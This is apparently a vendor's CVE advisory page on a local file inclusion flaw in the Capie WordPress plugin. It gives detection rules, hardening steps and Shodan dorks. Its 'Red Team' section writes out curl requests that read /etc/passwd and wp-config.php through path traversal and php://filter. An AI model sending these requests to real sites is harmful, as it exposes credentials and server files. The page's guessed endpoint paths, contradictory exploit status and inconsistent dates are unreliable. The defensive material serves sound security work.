☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Apustheme logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 🐛 CWE-98
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31060

CVE-2025-31060 Local File Inclusion in Apustheme
📅 PUBLISHED: 2025-05-23 13:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.55%
👁️
0.55% probability
13.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: N Integrity None
A: N Availability None
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31060 is a critical PHP Local File Inclusion (LFI) vulnerability in the Capie WordPress plugin by ApusTheme, affecting versions up to and including 1.0.40. The flaw arises from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php) and potentially remote code execution if combined with file upload capabilities. The vulnerability is classified under CWE-98 (Improper Control of Filename for Include/Require Statement in PHP Program). No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the unpatched status and the widespread use of WordPress plugins.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Capie plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from any source are at risk. Since no patch is available, the supply chain risk is high—attackers may target outdated installations or inject malicious updates if the vendor’s distribution channel is compromised.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Base Score: 8.1 (High)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: None
  • Availability Impact: None

The high confidentiality impact makes this a serious threat for data exfiltration. The lack of required privileges and user interaction means any unauthenticated visitor can exploit it.

Deep Dive & Mechanics

The vulnerability exists in the Capie plugin’s PHP code, likely in a function that dynamically includes template files or configuration files based on user-supplied input (e.g., via $_GET, $_POST, or $_COOKIE). The plugin fails to sanitize or validate the filename parameter, allowing path traversal sequences like ../../ to escape the intended directory.

Example vulnerable code pattern:

$file = $_GET['template'];
include( $file . '.php' );

An attacker can supply ../../../etc/passwd%00 (null byte injection) or ../../../wp-config to read sensitive files. Modern PHP versions may block null bytes, but path traversal alone is sufficient.

Attack flow:

  1. Attacker identifies a parameter (e.g., ?template=) in the plugin’s URL.
  2. Attacker sends a crafted request: GET /wp-content/plugins/capie/vulnerable.php?template=../../../etc/passwd
  3. The server includes the target file, outputting its contents in the response.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the fix. A patched version would implement strict input validation:

Vulnerable code (conceptual):

$template = $_GET['template'];
include( 'templates/' . $template . '.php' );

Patched code (conceptual):

$allowed_templates = ['home', 'about', 'contact'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates, true)) {
    include( 'templates/' . $template . '.php' );
} else {
    // Error handling
}

Additionally, realpath() and basename() functions should be used to prevent directory traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running WordPress with Capie plugin <= 1.0.40
  • No authentication required

Step-by-step exploitation:

  1. Identify the vulnerable endpoint (e.g., /wp-content/plugins/capie/ajax.php?action=load_template&template=).
  2. Use curl to read /etc/passwd:
    curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=../../../etc/passwd"
    
  3. For WordPress configuration:
    curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=../../../wp-config"
    
  4. If PHP wrappers are enabled, use php://filter for base64-encoded source code:
    curl "http://target.com/wp-content/plugins/capie/ajax.php?action=load_template&template=php://filter/convert.base64-encode/resource=../../../wp-config"
    

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

  • Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
  • Look for requests to plugin files with suspicious parameters.
  • Use WAF rules to block ../ sequences in query strings.

Hardening:

  • Disable the plugin immediately if not essential.
  • Apply virtual patching via WAF (e.g., ModSecurity rule to block template= parameter containing ..).
  • Restrict file inclusion to a whitelist of allowed files.
  • Set open_basedir in php.ini to limit file access.

Indicators of Compromise (IOCs)

  • URL patterns: */wp-content/plugins/capie/*?*template=*../*
  • Log entries: GET /wp-content/plugins/capie/ajax.php?action=load_template&template=../../../etc/passwd
  • File access: Unauthorized reads of /etc/passwd, wp-config.php, .env files
  • Network: Outbound connections from the web server to attacker-controlled hosts (if RCE achieved)

Detection Engineering

YARA Rule

rule CVE_2025_31060_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting Capie plugin CVE-2025-31060"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31060"
    strings:
        $lfi_pattern = /template=([^&]*\.\.\/[^&]*)/ nocase
        $plugin_path = /wp-content\/plugins\/capie\// nocase
    condition:
        $plugin_path and $lfi_pattern
}

Sigma Rule

title: CVE-2025-31060 Capie Plugin LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in Capie plugin requests
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains: 
            - 'template='
            - '../'
            - '%2e%2e%2f'
        cs-uri-stem|contains: '/wp-content/plugins/capie/'
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-31060 Capie Plugin LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/capie/"; http_uri; content:"template="; http_uri; pcre:"/template=[^&]*\.\.\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate actions:

  1. Disable the Capie plugin until a patch is released.
  2. Apply virtual patching using WAF rules to block path traversal in the template parameter.
  3. Review server logs for signs of exploitation (unusual file reads).

Long-term fixes:

  • Contact ApusTheme for an official patch.
  • Replace the plugin with an alternative that is actively maintained.
  • Implement input validation and whitelisting in any custom code.

Detection:

  • Deploy the YARA, Sigma, and Suricata rules provided above.
  • Enable file integrity monitoring on critical system files.

Valters IT – DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Capie"
http.html:"wp-content/plugins/capie"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31060/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.